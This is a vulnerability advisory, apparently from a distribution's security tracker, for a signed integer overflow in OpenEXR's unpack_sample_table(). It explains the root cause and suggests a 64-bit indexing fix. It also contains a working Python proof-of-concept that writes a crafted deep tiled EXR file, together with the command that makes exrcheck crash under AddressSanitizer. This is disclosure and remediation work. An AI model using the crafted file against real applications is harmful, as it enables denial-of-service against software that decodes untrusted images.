Skip to content

GHSA-rqp5-pmwm-wj6x on CTRL-OS 26.05

Aliases: GHSA-rqp5-pmwm-wj6x

Packages: openexr

Status: Plausible

Advisory Information

Summary

A signed integer overflow in decoding.c of the OpenEXR Core C library leads to an out-of-bounds memory access when processing a crafted deep tiled EXR file. The overflow in unpack_sample_table() causes an invalid pointer computation, resulting in a read from an unmapped memory address (SEGV). This was confirmed using the official exrcheck tool with AddressSanitizer (ASAN), and the root cause was independently verified with UndefinedBehaviorSanitizer (UBSan). The crash occurs in the OpenEXRCore library code path (exr_decoding_run), which is the standard decoding API — any application that decodes deep tiled EXR files is affected.

Affected Version

  • OpenEXR main branch, commit 7f3ffb87e55e879f62024a06a3d633825628a606
  • All versions using the C Core library (OpenEXRCore) with unpack_sample_table

Severity

Medium — Denial of Service via crafted file input

Root Cause

In src/lib/OpenEXRCore/decoding.c, the function unpack_sample_table() uses int32_t arithmetic for buffer indexing:

// decoding.c:218-219
int32_t w = decode->chunk.width;
int32_t h = decode->chunk.height;

// decoding.c:249-251
for (int32_t y = 0; y < h; ++y)
{
    int32_t* cursampline = samptable + y * w;   // int32 overflow

The buffer is correctly allocated using 64-bit arithmetic:

// decoding.c:30
size_t sampsize = (((size_t) decode->chunk.width) * ((size_t) decode->chunk.height));

The index computation y * w uses int32_t * int32_t. When y * w > INT32_MAX, this overflows to a negative value, causing cursampline to point approximately 8 GB before the allocated buffer. Memory access at this address causes SEGV.

The same pattern also exists at lines 231 and 245.

Trigger Conditions

  1. A deep tiled EXR file with tile dimensions where width * (height - 1) > INT32_MAX (e.g., 46342 × 46342)
  2. Default max_image_size is 0 (unlimited) — header validation does not block this
  3. System must have sufficient memory (~8.6 GB) for the sample count table allocation — standard in VFX production environments

Impact

  • CWE-190: Integer Overflow or Wraparound
  • CWE-125: Out-of-bounds Read
  • Denial of Service: Any application using OpenEXR to decode the crafted file will crash
  • The crash occurs in the library's public API path (exr_decoding_run), not in application-specific code

Reproduction

Environment

  • Ubuntu 24.04 (WSL2), 30 GB RAM
  • Clang with AddressSanitizer / UndefinedBehaviorSanitizer
  • OpenEXR built from source using official CMake

Step 1: Build OpenEXR with ASAN

git clone --depth 1 https://github.com/AcademySoftwareFoundation/openexr.git
cd openexr && mkdir build && cd build
cmake .. \
    -DCMAKE_C_COMPILER=clang \
    -DCMAKE_CXX_COMPILER=clang++ \
    -DCMAKE_C_FLAGS="-g -O1 -fsanitize=address" \
    -DCMAKE_CXX_FLAGS="-g -O1 -fsanitize=address" \
    -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
    -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
    -DBUILD_TESTING=OFF \
    -DOPENEXR_BUILD_TOOLS=ON \
    -DOPENEXR_FORCE_INTERNAL_IMATH=ON
make -j$(nproc) exrcheck

Step 2: Generate PoC file

The following script generates an 8.6 GB deep tiled EXR file (tile 46342×46342, NONE compression, all-zero sample counts):

#!/usr/bin/env python3
import struct, os

TILE = 46342
SAMPSIZE = TILE * TILE * 4

def u32(v): return struct.pack('<I', v & 0xFFFFFFFF)
def i32(v): return struct.pack('<i', v)
def i64(v): return struct.pack('<q', v)

def attr(f, name, tname, data):
    f.write(name.encode() + b'\x00' + tname.encode() + b'\x00'
            + u32(len(data)) + data)

with open('poc.exr', 'wb') as f:
    f.write(u32(20000630) + u32(2 | 0x0400 | 0x0800 | 0x1000))
    cd = (b'Z\x00' + u32(2) + b'\x01\x00\x00\x00'
          + u32(1) + u32(1) + b'\x00')
    attr(f, 'channels', 'chlist', cd)
    attr(f, 'compression', 'compression', b'\x00')
    dw = struct.pack('<iiii', 0, 0, TILE-1, TILE-1)
    attr(f, 'dataWindow', 'box2i', dw)
    attr(f, 'displayWindow', 'box2i', dw)
    attr(f, 'lineOrder', 'lineOrder', b'\x00')
    attr(f, 'pixelAspectRatio', 'float', struct.pack('<f', 1.0))
    attr(f, 'screenWindowCenter', 'v2f', struct.pack('<ff', 0.0, 0.0))
    attr(f, 'screenWindowWidth', 'float', struct.pack('<f', 1.0))
    attr(f, 'tiles', 'tiledesc', struct.pack('<IIB', TILE, TILE, 0))
    attr(f, 'type', 'string', b'deeptile')
    attr(f, 'name', 'string', b'rgba')
    f.write(b'\x00\x00')
    off_pos = f.tell()
    f.write(i64(0))
    chunk = f.tell()
    f.seek(off_pos)
    f.write(i64(chunk))
    f.seek(chunk)
    for _ in range(5): f.write(i32(0))
    f.write(i64(SAMPSIZE) + i64(0) + i64(0))
    z = b'\x00' * (64 * 1024 * 1024)
    r = SAMPSIZE
    while r > 0:
        n = min(len(z), r)
        f.write(z[:n])
        r -= n

Step 3: Trigger the crash

ASAN_OPTIONS=detect_leaks=0 ./build/bin/exrcheck -c poc.exr

ASAN Output (crash)

=================================================================
==9124==ERROR: AddressSanitizer: SEGV on unknown address 0x7ee6a28a405c
(pc 0x7eeaa55659ab bp 0x7ee8a289f800 sp 0x7ffcc9ef86a0 T0)
==9124==The signal is caused by a READ memory access.
    #0 realloc_deepdata ImfCheckFile.cpp:1304
    #1 exr_decoding_run decoding.c:654
    #2 readCoreTiledPart ImfCheckFile.cpp:1635
    #3 checkCoreFile ImfCheckFile.cpp:1680
    #4 runCoreChecks ImfCheckFile.cpp:1734
    #5 checkOpenEXRFile ImfCheckFile.cpp:1833
    #6 main exrcheck/main.cpp:166
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ImfCheckFile.cpp:1304 in realloc_deepdata
==9124==ABORTING

UBSan Output (root cause)

Building with -fsanitize=signed-integer-overflow -fno-sanitize-recover=all instead of -fsanitize=address:

decoding.c:251:50: runtime error: signed integer overflow:
46340 * 46342 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
  src/lib/OpenEXRCore/decoding.c:251:50

Suggested Fix

Replace int32_t arithmetic with int64_t for index computations:

// Before (vulnerable):
int32_t* cursampline = samptable + y * w;

// After (fixed):
int32_t* cursampline = samptable + (int64_t)y * (int64_t)w;

Apply the same fix at lines 231 and 245.

Additionally, consider validating deep tile/image dimensions against INT32_MAX during header parsing when max_image_size is unset.

Updates

2026-08-11 03:51 CEST

Metadata changes:

  • Status for package openexr: “Plausible”

2026-08-11 03:30 CEST

Metadata changes:

  • Status for package openexr: “New”